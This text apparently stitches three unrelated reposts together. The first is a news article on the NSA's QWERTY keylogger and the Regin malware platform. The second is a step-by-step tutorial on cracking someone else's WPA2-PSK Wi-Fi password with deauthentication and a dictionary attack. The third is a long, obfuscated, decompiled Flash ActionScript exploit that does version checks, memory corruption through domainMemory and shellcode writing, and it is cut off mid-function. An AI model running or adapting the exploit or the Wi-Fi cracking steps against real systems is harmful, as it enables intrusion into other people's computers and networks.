Link between NSA and Regin cyberespionage malware becomes clearer Lucian Constantin Jan 27, 2015 4:00 AM Keylogging malware that may have been used by the NSA shares signficant portions of code with a component of Regin, a sophisticated platform that has been used to spy on businesses, government institutions and private individuals for years. The keylogger program, likely part of an attack framework used by the U.S. National Security Agency and its intelligence partners, is dubbed QWERTY and was among the files that former NSA contractor Edward Snowden leaked to journalists. It was released by German news magazine Der Spiegel on Jan. 17 along with a larger collection of secret documents about the malware capabilities of the NSA and the other Five Eyes partners—the intelligence agencies of the U.K., Canada, Australia and New Zealand. “We’ve obtained a copy of the malicious files published by Der Spiegel and when we analyzed them, they immediately reminded us of Regin,” malware researchers from antivirus firm Kaspersky Lab said Tuesday in a blog post. “Looking at the code closely, we conclude that the ‘QWERTY’ malware is identical in functionality to the Regin 50251 plugin.” Moreover, the Kaspersky researchers found that both QWERTY and the 50251 plug-in depend on a different module of the Regin platform identified as 50225 which handles kernel-mode hooking. This component allows the malware to run in the highest privileged area of the operating system—the kernel. This is strong proof that QWERTY can only operate as part of the Regin platform, the Kaspersky researchers said. “Considering the extreme complexity of the Regin platform and little chance that it can be duplicated by somebody without having access to its source code, we conclude the QWERTY malware developers and the Regin developers are the same or working together.” Der Spiegel reported that QWERTY is likely a plug-in of a unified malware framework codenamed WARRIORPRIDE that is used by all Five Eye partners. This is based on references in the code to a dependency called WzowskiLib or CNELib. In a separate leaked document authored by the Communications Security Establishment Canada, the Canadian counterpart of the NSA, WARRIORPRIDE is described as a flexible computer network exploitation (CNE) platform that’s an implementation of the “WZOWSKI” Five Eyes API (application programming interface). The document also notes that WARRIORPRIDE is known under the code name DAREDEVIL at the UK Government Communications Headquarters (GCHQ) and that the Five Eyes intelligence partners can create and share plug-ins for it. The newly discovered link between QWERTY and Regin suggests that the cyberespionage malware platform security researchers call Regin is most likely WARRIORPRIDE. Some experts already suspected this based on other clues. According to Kaspersky Lab, Regin was the malware program that infected the personal computer of Belgian cryptographer Jean-Jacques Quisquater in 2013. That attack was linked to another malware attack against Belgian telecommunications group Belgacom whose customers include the European Commission, the European Parliament and the European Council. Der Spiegel reported in September 2013, based on documents leaked by Snowden, that GCHQ was responsible for the attack on Belgacom as part of a secret operation code-named Operation Socialist. Ronald Prins, co-founder of Fox-IT, a Dutch security company hired to investigate the attack against Belgacom, told The Intercept in November that he was convinced Regin was used by British and American intelligence services. The Intercept also reported, citing unnamed sources, that the malware was used in attacks against the European Parliament. An NSA spokeswoman said at the time that the agency would not comment on The Intercept’s “speculation.” The existence of Regin was first disclosed in November, when both Kaspersky Lab and Symantec published extensive research papers on it. However, antivirus companies knew about the malware for at least a year prior to that and forensic evidence suggests that the threat may have been active as far back as 2006. Security researchers believe that Regin is comparable in sophistication to Stuxnet, the computer worm reportedly created by the U.S. and Israel that was used to sabotage Iran’s nuclear efforts by destroying uranium enrichment centrifuges. However, unlike Stuxnet, Regin was mostly used for espionage, not sabotage. Symantec found around 100 Regin victims in 10 countries, mostly in Russia and Saudi Arabia, but also in Mexico, Ireland, India, Afghanistan, Iran, Belgium, Austria and Pakistan. The main targets were telecom operators, government organizations, multi-national political bodies, financial institutions, research centers and individuals involved in advanced mathematical and cryptographical research, according to Kaspersky Lab. No new infections with Regin have been found since mid-2014, said Costin Raiu, director of Kaspersky’s global research and analysis team, via email Monday. It’s not clear whether the malware platform’s authors are working to completely replace it because it has been exposed or are just making significant changes to it. “We believe it would be very difficult to replace the whole Regin platform with something else,” Raiu said. “Therefore, it is more likely it will be modified and improved instead of completely replaced.” Autor: Lucian Constantin @ PCWorld Sursa: http://www.pcworld.com/article/2876112/link-between-nsa-and-regin-cyberespionage-malware-becomes-clearer.html

How to Crack a Wpa2-Psk Password with Windows Syed Balal Rumy+Posted By on Aug 5, 2013 | 34 comments How to Crack a Wpa2-Psk Password with Windows :- It,s very common question on the internet to How to hack a Facebook account password and how to hack a WiFi password. Even if you search on YouTube you will find a lots of tutorial to How to hack a WiFi password using backtrack. However, backtrack OS is not most handy OS for normal users. yesterday my one Facebook friend Lovito Tsuqu Kiho ask me to how to hack WiFi using commview using aircrack-ng. Today i am going to show you how to a crack a Wp2-psk password with windows machine. Software Requirement for this lab :- 1. CommView for Wifi ( Download) 2. Elcomsoft Wireless Security Auditor (Download) Presently i am connected with my own wifi network Virusfound and i want to hack the password of Ultimate that is secured with Wpa2-psk encryption. First you need to be capture the Wpa2, four-way handsake with CommView. Open commView and click on the Start option then click on the capture option to start the capture now it will show you all available AP, Now click on the Tools > Select the Node Reassoication option ( if Node Rassociation is not working , then use WiFi Alfa card ) now select your target AP in the Send a deauthentication request from this AP option. it will show you all available client option. now click on the Send Now option to send the packet for 4-way authentication. wait for some time so it will capture the packet. now click on the Save option and choose your file format Commview Capture Files (*.ncf) you capture work is done. Now open Elcomsoft Wireless Security Auditor tocrack your wifi password. Click on the Import Data tab > select the Import CommViewLog option. now it will show you information about AP and Multiple Handshake selection information. Click on Ok. now click on the Start attack option and select the Dictionary Attack option. However you have other attack options are also available. now within minutes it will found your password and it will show you the password. Enjoy Wifi Hacking with Windows machine. This video will help you in packet capture. Sursa: http://rumyittips.com/how-to-crack-a-wpa2-psk-password-with-windows/

package { import flash.system.*; import flash.display.*; import flash.events.*; import flash.utils.*; public final class catch for extends MovieClip { { var _loc1_ = true; var _loc2_ = false; } public function catch for() { var _loc2_ = false; var _loc3_ = true; this.52142310723120123423632234 = new Shader(); this.implements = 52142315423167123423632234.package for(); this.implements var = 52142317523188123423632234.52142315723170123423632234(); this.521423832396123423632234 = this.implements var[_a_--._a_--(-1820302799)](2); this.static set = this.52142318023193123423632234; this.include = this.52142318023193123423632234; this.521423342347123423632234 = 5770 * this.break const; this.extends for = 510 * this.break const; super(); if(stage) { this.continue(); } else { addEventListener(Event.ADDED_TO_STAGE,this.continue); } } private var 52142310723120123423632234:Shader; private var implements:ByteArray; private var return:Boolean = false; private var 52142318723200123423632234:String = "3H1mc7hH2JGHNRBs0ADzSJQhGXNgFOT1uCXcv/DdaltYI9AkbiEjDeI/ig=="; private var 521423192332123423632234:Number = 40; private var static for:uint = 0; private var false const:52142312223135123423632234; private var implements var:String; private var 521423832396123423632234:String; private var final var:ByteArray = null; private var 521423692382123423632234:uint = 4.277009102E9; private var static set:uint; private var 521423862399123423632234:ByteArray = null; private var while for:uint = 3.149642683E9; private var include:uint; private var dynamic const:Boolean = false; private var break var:uint = 4096; private var true const:uint = 1.2582912E7; private var each for:uint = 1073741824; private var 52142313623149123423632234:uint = 3.133078208E9; private var if:uint = 3.133078209E9; private var 521423532366123423632234:uint = 3.133078211E9; private var 5214239723110123423632234:uint = 3.435973836E9; private var 5214239123104123423632234:uint = 3.722304989E9; private var break const:int = 2; private var 521423342347123423632234:uint; private var 52142317123184123423632234:uint = 114; private var 521423282341123423632234:uint = 4.276992702E9; private var 521423752388123423632234:uint = 3.133078222E9; private var null const:int = 504; private var 52142318023193123423632234:int = 8192; private var extends for:int; private var with for:Vector.<Object> = null; private var 521423262339123423632234:Vector.<Object> = null; private var break for:int = 0; private var 52142311923132123423632234:Vector.<uint> = null; private var 52142318423197123423632234:uint = 0; private var throw var:uint = 0; private var 52142318223195123423632234:uint = 0; private var in for:uint = 0; private var do:uint = 0; private var 52142311823131123423632234:uint = 0; private var 521423822395123423632234:uint = 0; private var super for:uint = 0; private var 52142310923122123423632234:Vector.<uint> = null; private var 52142352318123423632234:uint = 9460301; private var 52142316123174123423632234:uint = 50068; private var null:uint = 65535; private var 521423442357123423632234:uint = 3.272131715E9; private var throw:uint = 6816874; private var finally var:uint = 1744830496; private var class:uint = 1048576; private var 521423152328123423632234:uint = 6816106; private var 5214238723100123423632234:uint = 1744830496; private var function const:uint = 2097152; private var 521423492362123423632234:uint = 6816874; private var native:uint = 1442840592; private var 521423102323123423632234:uint = 4.283498891E9; private var 52142315223165123423632234:uint = 2128; private var 521423582371123423632234:uint = 65535; private var import var:uint = 0; private var super var:uint = 0; private var continue const:uint = 0; private var 521423482361123423632234:uint = 0; private var override const:uint = 0; private var 521423382351123423632234:uint = 50070; private var 52142312314123423632234:uint = 50069; private var 52142311423127123423632234:uint = 50065; private var 52142317223185123423632234:uint = 50071; private var 5214239023103123423632234:uint = 0; private var 521423332346123423632234:uint = 0; private var var for:uint = 0; private var 521423392352123423632234:uint = 0; private var 5214239823111123423632234:uint = 0; private var 52142315023163123423632234:uint = 0; private var const set:uint = 0; private var override for:uint = 0; private var get set:uint = 0; private var 52142314323156123423632234:uint = 0; private var 52142315623169123423632234:uint = 0; private var 521423812394123423632234:uint = 0; private var package:Boolean = false; private var 521423612374123423632234:Boolean = false; private var true set:Boolean = false; private var while:Boolean = false; private var case var:Boolean = false; private var 52142310323116123423632234:Boolean = false; private var return const:Boolean = false; private var static:String = null; private var 521423302343123423632234:String = null; private var 5214239223105123423632234:String = null; private var each var:uint = 0; private final function import const() : uint { var _loc6_ = false; var _loc7_ = true; var _loc1_:String = Capabilities.version.toLowerCase(); if(_loc1_.length < 4) { return 0; } var _loc2_:String = _loc1_.substr(0,4); if(_loc2_ != _a_--._a_--(-1820302785)) { return 0; } _loc1_ = _loc1_.substr(4); var _loc3_:Array = _loc1_.split(","); if(_loc3_.length != 4) { return 0; } var _loc4_:uint = 0; var _loc5_:uint = 0; _loc4_ = uint(_loc3_[0]); _loc5_ = _loc5_ + _loc4_; _loc4_ = uint(_loc3_[1]); _loc5_ = _loc5_ * 10; _loc5_ = (_loc5_ * 10) + _loc4_; _loc4_ = uint(_loc3_[2]); _loc5_ = _loc5_ * 1000; _loc5_ = (_loc5_ * 1000) + _loc4_; _loc4_ = uint(_loc3_[3]); _loc5_ = _loc5_ * 1000; _loc5_ = (_loc5_ * 1000) + _loc4_; return _loc5_; } private final function 52142317723190123423632234() : Boolean { var _loc2_ = false; var _loc3_ = true; this.each var = this.import const(); if(this.each var == 0) { return false; } this.static = Capabilities.os.toLowerCase(); this.521423302343123423632234 = Capabilities.playerType.toLowerCase(); this.5214239223105123423632234 = String(this.each var); if(!(this.521423302343123423632234 == _a_--._a_--(-1820302800)) && !(this.521423302343123423632234 == _a_--._a_--(-1820302786))) { return false; } this.true set = this.static == "windows 8"; this.while = this.static == "windows 8.1"; this.case var = this.while; this.52142310323116123423632234 = (this.true set) || (this.while) || (this.case var); this.return const = this.each var >= 52142317523188123423632234.var(3.937018648E9); this.return = this.each var <= 52142317523188123423632234.var(3.847817204E9) || this.each var >= 52142317523188123423632234.var(3.847387335E9) && this.each var <= 52142317523188123423632234.var(3.857011825E9); var _loc1_:Boolean = this.each var >= 52142317523188123423632234.var(3.857011908E9) && this.each var < 52142317523188123423632234.var(3.926051399E9) || this.each var == 52142317523188123423632234.var(3.937018673E9) || this.each var >= 52142317523188123423632234.var(3.956513196E9); return _loc1_; } private final function 52142313723150123423632234(param1:ByteArray, param2:int) : void { var _loc4_ = true; var _loc5_ = false; param1.position = 0; var _loc3_ = 0; while(_loc3_ < param1.length / 4) { param1.writeInt(param2); _loc3_++; } param1.position = 0; } private final function with const(param1:uint) : uint { var _loc3_ = true; var _loc4_ = false; var _loc2_:uint = param1 / 4; return _loc2_ - this.throw var & this.each for - 1; } private final function var set(param1:uint) : uint { var _loc9_ = true; var _loc10_ = false; var _loc2_:uint = this.with const(param1); var _loc3_:uint = param1 % 4; if(_loc3_ == 0) { return this.52142311923132123423632234[_loc2_]; } var _loc4_:uint = 1 << _loc3_ * 8; var _loc5_:uint = 1 << (4 - _loc3_) * 8; var _loc6_:uint = this.52142311923132123423632234[_loc2_]; var _loc7_:uint = this.52142311923132123423632234[_loc2_ + 1]; _loc6_ = _loc6_ / _loc4_; _loc7_ = _loc7_ * _loc5_; var _loc8_:uint = _loc6_ | _loc7_; return _loc8_; } private final function 52142316823181123423632234(param1:uint, param2:uint) : void { var _loc5_ = true; var _loc6_ = false; var _loc3_:uint = this.with const(param1); var _loc4_:uint = param1 % 4; if(_loc4_ == 0) { this.52142311923132123423632234[_loc3_] = param2; return; } } private final function var var(param1:int) : int { return op_li32(param1) /*Alchemy*/; } private final function 52142314723160123423632234(param1:uint) : uint { return uint(this.var var(int(param1))); } private final function extends set(param1:int, param2:int) : void { } private final function 521423512364123423632234(param1:uint, param2:uint) : void { this.extends set(int(param1),int(param2)); } private final function include set() : Boolean { var _loc5_ = true; var _loc6_ = false; this.521423862399123423632234 = new ByteArray(); this.521423862399123423632234.endian = Endian.LITTLE_ENDIAN; this.final var = new ByteArray(); this.final var.endian = Endian.LITTLE_ENDIAN; this.final var.position = 0; var _loc1_ = 0; while(_loc1_ < this.static set / 4) { this.final var.writeUnsignedInt(this.521423692382123423632234 + _loc1_); _loc1_++; } this.final var[this.521423832396123423632234](); var _loc2_:uint = 512; this.final var.position = _loc2_; var _loc3_:int = _loc2_; while(_loc3_ < this.final var.length) { this.final var.writeByte(_loc3_); _loc3_++; } ApplicationDomain.currentDomain.domainMemory = this.final var; return true; } private final function 52142315923172123423632234() : int { var _loc2_ = false; var _loc3_ = true; var _loc1_:int = this.extends for * 4 / 5; if(_loc1_ % 2 == 0) { _loc1_++; } return _loc1_; } private final function 52142316923182123423632234() : void { /* * Decompilation error * Code may be obfuscated * Error type: TranslateException */ throw new IllegalOperationError("Not decompiled due to error"); } private final function 52142314223155123423632234() : void { var _loc4_ = true; var _loc5_ = false; var _loc1_ = 0; var _loc2_:ByteArray = null; var _loc3_:int = this.52142315923172123423632234(); _loc1_ = 0; while(_loc1_ < this.extends for) { if(_loc1_ == _loc3_) { this.521423862399123423632234.clear(); } _loc1_++; } } private final function 521423802393123423632234() : void { var _loc3_ = false; var _loc4_ = true; var _loc1_:uint = 0; var _loc2_:Vector.<uint> = null; this.521423262339123423632234 = new Vector.<Object>(this.521423342347123423632234); _loc1_ = 0; while(_loc1_ < this.521423342347123423632234) { this.521423262339123423632234[_loc1_] = new Vector.<uint>(); _loc1_++; } _loc1_ = 0; while(_loc1_ < this.521423342347123423632234) { _loc2_ = this.521423262339123423632234[_loc1_] as Vector.<uint>; _loc2_.length = this.52142317123184123423632234; _loc2_[0] = this.521423282341123423632234; _loc2_[1] = _loc1_; _loc2_[2] = this.521423752388123423632234; _loc1_++; } } private final function 521423722385123423632234() : Boolean { var _loc2_ = false; var _loc3_ = true; var _loc1_:uint = this.52142314723160123423632234(0); if(_loc1_ != this.while for) { return false; } this.52142314223155123423632234(); this.521423802393123423632234(); _loc1_ = this.52142314723160123423632234(0); if(_loc1_ == this.while for) { return false; } return true; } private final function while var() : Boolean { var _loc4_ = false; var _loc5_ = true; var _loc1_:uint = 0; var _loc2_:uint = 0; var _loc3_:uint = this.52142318023193123423632234; while(_loc2_ < _loc3_) { _loc1_ = this.52142314723160123423632234(_loc2_); if(_loc1_ == this.52142317123184123423632234) { _loc1_ = this.52142314723160123423632234(_loc2_ + (this.static for << 3)); if(_loc1_ == this.521423282341123423632234) { this.dynamic const = false; this.521423512364123423632234(_loc2_,this.each for); return true; } _loc1_ = this.52142314723160123423632234(_loc2_ + 16); if(_loc1_ == this.521423282341123423632234) { this.dynamic const = true; this.521423512364123423632234(_loc2_,this.each for); return true; } } _loc2_ = _loc2_ + (this.static for << 2); } return false; } private final function const const() : Boolean { var _loc3_ = true; var _loc4_ = false; var _loc1_:Vector.<uint> = null; var _loc2_ = 0; while(_loc2_ < this.521423342347123423632234) { _loc1_ = this.521423262339123423632234[_loc2_] as Vector.<uint>; if(!(_loc1_.length == this.52142317123184123423632234) && !(_loc1_.length == this.52142317123184123423632234 * 2)) { this.break for = _loc2_; this.52142311923132123423632234 = _loc1_; return true; } _loc2_++; } return false; } private final function 52142312023133123423632234() : uint { var _loc7_ = true; var _loc8_ = false; var _loc1_:uint = this.52142318023193123423632234 * 8; var _loc2_:uint = _loc1_ / 4; var _loc3_:uint = 0; var _loc4_:uint = 0; var _loc5_:uint = 0; var _loc6_:uint = 0; while(_loc5_ < _loc2_) { _loc3_ = this.52142311923132123423632234[_loc5_]; if(_loc3_ == this.52142313623149123423632234) { _loc4_ = _loc5_; break; } _loc5_++; } _loc6_ = _loc4_ * 4; return _loc6_; } private final function 52142332316123423632234(param1:uint) : uint { var _loc8_ = false; var _loc9_ = true; var _loc2_:uint = this.52142318023193123423632234 * 8; var _loc3_:uint = _loc2_ / 4; var _loc4_:uint = 0; var _loc5_:uint = 0; var _loc6_:uint = param1 / 4; var _loc7_:uint = 0; while(_loc6_ < _loc3_) { _loc4_ = this.52142311923132123423632234[_loc6_]; if((this.52142311923132123423632234[_loc6_]) == this.521423282341123423632234) { _loc4_ = this.52142311923132123423632234[_loc6_ + 2]; if((this.52142311923132123423632234[_loc6_ + 2]) == this.521423752388123423632234) { this.521423822395123423632234 = this.52142311923132123423632234[_loc6_ + 1]; _loc5_ = _loc6_; break; } } _loc6_++; } _loc7_ = _loc5_ * 4; return _loc7_; } private final function 52142392322123423632234() : Boolean { var _loc15_ = false; var _loc16_ = true; var _loc1_:uint = this.52142312023133123423632234(); if(_loc1_ == 0) { return false; } var _loc2_:uint = this.break var - _loc1_ % this.break var; var _loc3_:uint = _loc2_ % this.null const; if(_loc3_ == 40) { if(this.dynamic const) { return false; } } else if(_loc3_ == 80) { if(!this.dynamic const) { return false; } } else { return false; } var _loc4_:uint = 8; var _loc5_:uint = 32; var _loc6_:uint = 0; var _loc7_:uint = 28; if(this.dynamic const) { _loc4_ = 16; _loc5_ = 64; _loc6_ = 0; _loc7_ = 56; } var _loc8_:uint = this.52142332316123423632234(_loc1_ + this.52142318023193123423632234); if(_loc8_ == 0) { return false; } _loc8_ = _loc8_ - _loc4_; var _loc9_:uint = _loc8_ / 4; if(!this.dynamic const) { this.52142318223195123423632234 = this.52142311923132123423632234[_loc9_ + 1]; } else { this.52142318223195123423632234 = this.52142311923132123423632234[_loc9_ + 2]; this.5214239823111123423632234 = this.52142311923132123423632234[_loc9_ + 3]; } var _loc10_:uint = (_loc8_ - _loc1_) % this.break var; var _loc11_:uint = _loc8_ - _loc10_; this.52142310923122123423632234 = this.521423262339123423632234[this.521423822395123423632234] as Vector.<uint>; this.52142310923122123423632234.length = this.52142317123184123423632234 * 2; var _loc12_:uint = _loc11_ + _loc6_; _loc9_ = _loc12_ / 4; this.super for = this.52142311923132123423632234[_loc9_]; this.52142318423197123423632234 = this.super for - _loc8_; this.throw var = this.52142318423197123423632234 / 4; this.import var = this.52142318423197123423632234 + _loc1_; _loc9_ = (_loc11_ + _loc7_) / 4; this.in for = this.52142311923132123423632234[_loc9_++]; this.52142315023163123423632234 = this.52142311923132123423632234[_loc9_]; this.521423822395123423632234++; this.52142310923122123423632234 = this.521423262339123423632234[this.521423822395123423632234] as Vector.<uint>; return true; } private final function 52142314923162123423632234() : void { var _loc2_ = true; var _loc3_ = false; var _loc1_:uint = this.each for - 2; this.52142311923132123423632234[_loc1_] = this.52142317123184123423632234; _loc1_ = this.each for - 1; this.52142311923132123423632234[_loc1_] = this.52142318223195123423632234; } private final function default var() : Boolean { var _loc7_ = false; var _loc8_ = true; var _loc1_:uint = 0; var _loc2_:uint = 0; var _loc3_:uint = 0; var _loc4_:uint = 0; var _loc5_:uint = this.in for & ~(this.break var - 1); while(true) { _loc1_ = this.var set(_loc5_); if(_loc1_ == this.52142352318123423632234) { break; } _loc5_ = _loc5_ - this.break var; } _loc5_ = _loc5_ + this.break var; var _loc6_:uint = (_loc5_ + this.break var) + this.true const; while(this.continue const == 0 || this.521423482361123423632234 == 0 || this.override const == 0 || this.521423332346123423632234 == 0 || this.var for == 0 || this.521423392352123423632234 == 0 || this.5214239023103123423632234 == 0 || this.super var == 0) { _loc1_ = this.var set(_loc5_); if(this.super var == 0) { if(_loc1_ == this.521423102323123423632234) { _loc3_ = this.var set(_loc5_ + 4); if((_loc3_ & this.521423582371123423632234) == this.52142315223165123423632234) { this.super var = _loc5_; _loc5_ = _loc5_ + 5; continue; } } } if(this.continue const == 0) { if((_loc1_ & this.null) == this.52142316123174123423632234) { this.continue const = _loc5_; _loc5_ = _loc5_ + 2; continue; } } if(this.521423332346123423632234 == 0) { if((_loc1_ & this.null) == this.52142312314123423632234) { this.521423332346123423632234 = _loc5_; _loc5_ = _loc5_ + 2; continue; } } if(this.var for == 0) { if((_loc1_ & this.null) == this.52142311423127123423632234) { this.var for = _loc5_; _loc5_ = _loc5_ + 2; continue; } } if(this.5214239023103123423632234 == 0) { if((_loc1_ & this.null) == this.521423382351123423632234) { this.5214239023103123423632234 = _loc5_; _loc5_ = _loc5_ + 2; continue; } } if(this.521423392352123423632234 == 0) { if((_loc1_ & this.null) == this.52142317223185123423632234) { this.521423392352123423632234 = _loc5_; _loc5_ = _loc5_ + 2; continue; } } if(this.521423482361123423632234 == 0) { if(_loc1_ == this.521423442357123423632234) { this.521423482361123423632234 = _loc5_; _loc5_ = _loc5_ + 4; continue; } } if(this.override const == 0) { _loc2_ = _loc1_; _loc3_ = 0; _loc4_ = 0; if(_loc2_ == this.throw) { _loc3_ = this.var set(_loc5_ + 4); if(_loc3_ == this.finally var) { _loc4_ = this.var set(_loc5_ + 8); if((this.var set(_loc5_ + 8)) == this.class) { this.override const = this.var set(this.var set(_loc5_ + 15)); _loc5_ = _loc5_ + 12; continue; } } } if(_loc2_ == this.521423492362123423632234) { _loc3_ = this.var set(_loc5_ + 4); if(_loc3_ == this.native) { this.override const = this.var set(this.var set(_loc5_ + 11)); _loc5_ = _loc5_ + 8; this.521423612374123423632234 = true; continue; } } if(_loc2_ == this.521423152328123423632234) { _loc3_ = this.var set(_loc5_ + 4); if(_loc3_ == this.5214238723100123423632234) { _loc4_ = this.var set(_loc5_ + 8); if((this.var set(_loc5_ + 8)) == this.function const) { this.override const = this.var set(this.var set(_loc5_ + 15)); _loc5_ = _loc5_ + 12; this.package = true; continue; } } } } if(++_loc5_ > _loc6_) { return false; } } return true; } private final function const for(param1:ByteArray) : void { var _loc11_ = true; var _loc12_ = false; var _loc10_:uint = 0; var _loc2_:uint = 4 * 1024; var _loc3_:uint = this.52142318023193123423632234 - _loc2_; var _loc4_:uint = this.import var; this.52142311823131123423632234 = _loc4_ + _loc3_; var _loc5_:uint = 1024; var _loc6_:uint = _loc3_ - _loc5_; this.do = _loc4_ + _loc6_; var _loc7_:uint = this.do + 384; this.52142316823181123423632234(this.do + 4,65536); this.52142316823181123423632234(this.do + 428,0); this.52142316823181123423632234(this.do + 484,_loc7_); this.52142316823181123423632234(_loc7_,this.52142311823131123423632234); this.52142316823181123423632234(_loc7_ + 4,1); var _loc8_:uint = 512; var _loc9_:uint = this.52142311823131123423632234; this.52142316823181123423632234(_loc9_,this.521423482361123423632234); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.super var); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.continue const); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.5214239023103123423632234); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.var for); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.521423392352123423632234); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.override const); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,_loc9_ + 20); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,this.52142311823131123423632234); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,8192); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,4096); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,64); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,2943072); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.32824576E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,2.298479687E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.224501492E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.213711176E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,4.294966912E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.104065417E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,512); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,2.868104961E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.355347295E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,6214); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,3.296919552E9); _loc9_ = _loc9_ + 4; this.52142316823181123423632234(_loc9_,2.425406216E9); _loc9_ = _loc9_ + 4; param1.position = 0; while(param1.position < param1.length) { _loc10_ = param1.readUnsignedInt(); this.52142316823181123423632234(_loc9_,_loc10_); _loc9_ = _loc9_ + 4; } } private final function 521423742387123423632234() : Boolean { var _loc2_ = true; var _loc3_ = false; var _loc1_:uint = this.each for - 1; this.52142311923132123423632234[_loc1_] = this.do; this.52142311923132123423632234.length = this.52142317123184123423632234 * 2; this.52142314923162123423632234(); return true; } private final function get var() : ByteArray { var _loc1_ = false; var _loc2_ = true; return this.false const.break(this.static for); } private final function dynamic var() : void { var _loc1_ = false; var _loc2_ = true; this.52142311923132123423632234.length = this.52142317123184123423632234 * 2; } private final function 52142312323136123423632234() : Boolean { var _loc1_ = false; var _loc2_ = true; if(!throw for.52142312323136123423632234(this.521423302343123423632234,this.static,this.each var,this.in for)) { return false; } this.continue const = throw for.continue const; this.521423482361123423632234 = throw for.521423482361123423632234; this.override const = throw for.override const; this.const set = throw for.const set; this.override for = throw for.override for; this.get set = throw for.get set; this.52142314323156123423632234 = throw for.52142314323156123423632234; this.52142315623169123423632234 = throw for.52142315623169123423632234; this.521423812394123423632234 = throw for.521423812394123423632234; return true; } private final function throw set(param1:ByteArray) : void { var _loc12_ = true; var _loc13_ = false; var _loc11_:uint = 0; var _loc2_:uint = 4 * 1024 + 512; var _loc3_:uint = this.52142318023193123423632234 - _loc2_; var _loc4_:uint = this.import var; this.52142311823131123423632234 = _loc4_ + _loc3_; var _loc5_:uint = 1024; var _loc6_:uint = _loc3_ - _loc5_; this.do = _loc4_ + _loc6_; var _loc7_:uint = this.do + 384; this.52142316823181123423632234(this.do + 8,65536); this.52142316823181123423632234(this.do + 484,0); this.52142316823181123423632234(this.do + 528,_loc7_); this.52142316823181123423632234(this.do + 532,this.5214239823111123423632234); this.52142316823181123423632234(_loc7_,this.52142311823131123423632234); this.52142316823181123423632234(_loc7_ + 4,this.5214239823111123423632234); this.52142316823181123423632234(_loc7_ + 8,1); var _loc8_:uint = 768; var _loc9_:uint = 256; var _loc10_:uint = this.52142311823131123423632234; this.52142316823181123423632234(_loc10_,this.521423482361123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.continue const); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.const set); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,64); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,0); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315623169123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; _loc10_ = (_loc10_ + 4) + 40; this.52142316823181123423632234(_loc10_,this.override for); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142311823131123423632234 + _loc9_); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.5214239823111123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.get set); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,8192); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,0); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142314323156123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1052672); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,0); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.override const); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142315023163123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142311823131123423632234 + _loc9_); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.5214239823111123423632234); _loc10_ = _loc10_ + 4; _loc10_ = this.52142311823131123423632234 + _loc9_; this.52142316823181123423632234(_loc10_,2.202598544E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1413607652); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,2.202555713E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1994932460); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1207959552); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1094763651); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,2.421965149E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,3.209203856E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142318423197123423632234 - 16); 